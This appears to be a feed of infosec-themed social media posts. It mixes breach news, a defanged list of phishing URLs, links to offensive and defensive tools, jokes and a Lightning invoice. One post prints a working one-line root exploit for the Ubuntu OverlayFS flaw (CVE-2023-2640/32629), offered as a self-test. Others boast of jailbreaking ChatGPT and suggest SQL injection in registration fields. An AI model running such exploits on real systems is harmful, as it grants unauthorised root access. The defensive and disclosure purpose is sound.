#Amazon's #AWS SSM agent can be used as post-exploitation RAT #malware Abusing the SSM agent allows attackers to breach AWS accounts to execute commands remotely without being detected, as the traffic looks like regular activity generated by the agents.

BleepingComputer

Amazon's AWS SSM agent can be used as post-exploitation RAT malware

Researchers have discovered a new post-exploitation technique in Amazon Web Services (AWS) that allows hackers to use the platform's System Ma...

#ethicalhacking #infosec #cybersecurity #nostr

#Criminals to auction off #DNA records stolen in data #breach of McAlester Regional Health Center

BeyondMachines

Criminals to auction off DNA records stolen in data breach of McAlester Regional Health Center

The McAlester Regional Health Center was targeted by the Karakurt ransomware group, which claims to have stolen sensitive patient information, incl...

#ethicalhacking #infosec #cybersecurity #nostr

Weekly #Phishing or #Malicious #URL ℹ️ links are broken to avoid accidentally click ℹ️ #Bank of America Phishing Site hxxp://kez[.]coo[.]mybluehost[.]me/home/login[.]php?cmd=login_submit&id=dfcbf99ae78eeb4f1b03fdf60d6c11a5dfcbf99ae78eeb4f1b03fdf60d6c11a5&session=dfcbf99ae78eeb4f1b03fdf60d6c11a5dfcbf99ae78eeb4f1b03fdf60d6c11a5 #French Government Fine Payment Page Phishing Site hxxps://mon-amende-gouv-fr[.]com/infospage[.]php #Navy Federal Credit Union Phishing Site hxxps://bright-furtive-mitten[.]glitch[.]me/public/Gsddfgotp[.]HTM #Facebook Phishing Sites hxxps://auto-czarnecki[.]pl/authorize[.]php hxxps://25442578989888v5579655[.]filesusr[.]com/html/407990_268ecc9148f062ba30941076878b52c5.html?8607929*cGVsb25tZWxvbjEyMzRAZ21haWwuY29t*https://www_facebook_com/= #Garena Phishing Site hxxp://ff[.]memberr[.]gearena[.]vn/fimbaxtcrs59fy8gplnbzcqjscoxmmk8kuk #Telekom Deutschland GmbH Phishing Site hxxps://hadeedethopia[.]nyatechservices[.]com/lnkl/ios/oauth2/index[.]php/ Coupang Phishing Site hxxp://kclea[.]or[.]kr/online/data[.]php #Naver Phishing Sites hxxp://jhusinagem[.]com[.]br/new/wp-includes/certificates/indexh[.]html hxxps://silkyoriginalstructures[.]azrefmrnc[.]repl[.]co/?naps #ethicalhacking #infosec #cybersecurity #nostr #keepsafe

Abusing of #chatgpt 😂😂😂 That is way you shouldn't trust on chatgpt or at least not 100% always do your checks. In this example i have made a simple question but in a different way. And the chatgpt fails successfully 😂😂😂 Now let's make the same question but with a misspelling marked as red 😂😂😂😂 #funny #nostr

Do you need a web interface for #DNS queries? You can use diggui, which provides an online #dig service with helpful tips.

DiG GUI - DiG Online, DiG Web Interface, DiG DNS, Google Dig, Online Dig, Dig Tool

Quick query DNS records and nameservers through dig web interface provided by diggui.com.

#ethicalhacking #infosec #cybersecurity #nostr

LeakIX is a platform combining a search engine that indexes public information by scanning the Internet with an open reporting platform linked to the results.

LeakIX

#ethicalhacking #infosec #cybersecurity #nostr

Successfully #jailbreak chatgpt on #android 😀👍️ #ethicalhacking #infosec #cybersecurity #nostr #jailbreak

#ubuntu local privilege escalation CVE-2023-2640 CVE-2023-32629 A critical privilege escalation vulnerability in the Ubuntu kernel regarding OverlayFS have been identified. It basically allows a low privileged user account on your system to obtain root privileges. Public exploit code was published already and is quite easy to exploit. If you want to test whether your system is affected, you may execute the following PoC code from a low privileged user account on your Ubuntu system. If you get an output, telling you the root account's id, then you are affected. unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'";rm -rf l u w m Reference

NVD - CVE-2023-32629

#ethicalhacking #infosec #cybersecurity #nostr

Why did #Nostr users always get the biggest audiences? Because their posts were simply "nostrifying"! 😄 #share

Why don't some couples go to the gym? Because some relationships don't work out! 😄 #humor #funny

Why do cybersecurity experts prefer to swim with dolphins? Because they know dolphins are excellent at detecting #phishing attempts! 🐬🔒😄 #ethicalhacking #infosec #cybersecurity #nostr

If you feel the world is shaking around you and the ground slipping away from your feet.... You run.... that crap is a earthquake! ! #jokes #lol #😂 lnbc100n1pjvwgx3pp5fe2mp30nfk4dv3pkgxuhk6p9u2w4c9yeuwlsayw63mrm4gx5678shp5zzha2ghzjqdf2fupwm36llegkhy9v647kre8et5hwumyg85l7v7scqzzsxqyz5vqsp5aj9983harfk9k2j43lp7ar27p3mrwza6xjl9acanwe0q5lf2wrzs9qyyssqjvfta9uw7u2m9r7k96jxwek4wfhkxl9jclpzypcd6g39ey30r48rjl9agahth6ghnwyzgkw26jd64pfnexp7re0yur56kp6tnn4q5wgqvz0hwl

This Python script analyzes network traffic in a given .pcap file and attempts to detect suspicious network activities

GitHub

GitHub - alperenugurlu/Network_Assessment: With Wireshark or TCPdump, you can determine whether there is harmful activity on your network traffic that you have recorded on the network you monitor.

With Wireshark or TCPdump, you can determine whether there is harmful activity on your network traffic that you have recorded on the network you mo...

#ethicalhacking #infosec #cybersecurity #nostr

This Python script analyzes network traffic in a given .pcap file and attempts to detect suspicious network activities

GitHub

GitHub - alperenugurlu/Network_Assessment: With Wireshark or TCPdump, you can determine whether there is harmful activity on your network traffic that you have recorded on the network you monitor.

With Wireshark or TCPdump, you can determine whether there is harmful activity on your network traffic that you have recorded on the network you mo...

#ethicalhacking #infosec #cybersecurity #nostr

A Tool to remotely dump secrets from the Windows registry, a nice impacket-secretsdump alternative

GitHub

GitHub - jfjallid/go-secdump: Tool to remotely dump secrets from the Windows registry

Tool to remotely dump secrets from the Windows registry - jfjallid/go-secdump

#infosec #cybersecurity #ethicalhacking #nostr

A Tool to remotely dump secrets from the Windows registry, a nice impacket-secretsdump alternative

GitHub

GitHub - jfjallid/go-secdump: Tool to remotely dump secrets from the Windows registry

Tool to remotely dump secrets from the Windows registry - jfjallid/go-secdump

#infosec #cybersecurity #ethicalhacking #nostr

Borax is the new Tide Pods, and poison control experts are facepalming

Ars Technica

Borax is the new Tide Pods, and poison control experts are facepalming

Borax is used in laundry detergent and is not safe to ingest.

How to find SQL injection on the Registration page? Try SQL Injection in Email Address (username) #ethicalhacking #infosec #cybersecurity #nostr

How to find SQL injection on the Registration page? Try SQL Injection in Email Address (username) #ethicalhacking #infosec #cybersecurity #nostr

Open source toolkit for scraping, OSINT and more. ✅Ig Scrape ✅Ip Lookup ✅Web Search ✅Web Scrape ✅Wi-Fi Finder ✅Email Search ✅Phone Lookup ✅username Search ✅Fake Info Generator ✅Webhook Spammer

GitHub

GitHub - vil/H4X-Tools: A modular, terminal-based toolkit for OSINT, reconnaissance, and scraping - built in Python, runs on Linux and Windows.

A modular, terminal-based toolkit for OSINT, reconnaissance, and scraping - built in Python, runs on Linux and Windows. - vil/H4X-Tools

#ethicalhacking #infosec #cybersecurity #nostr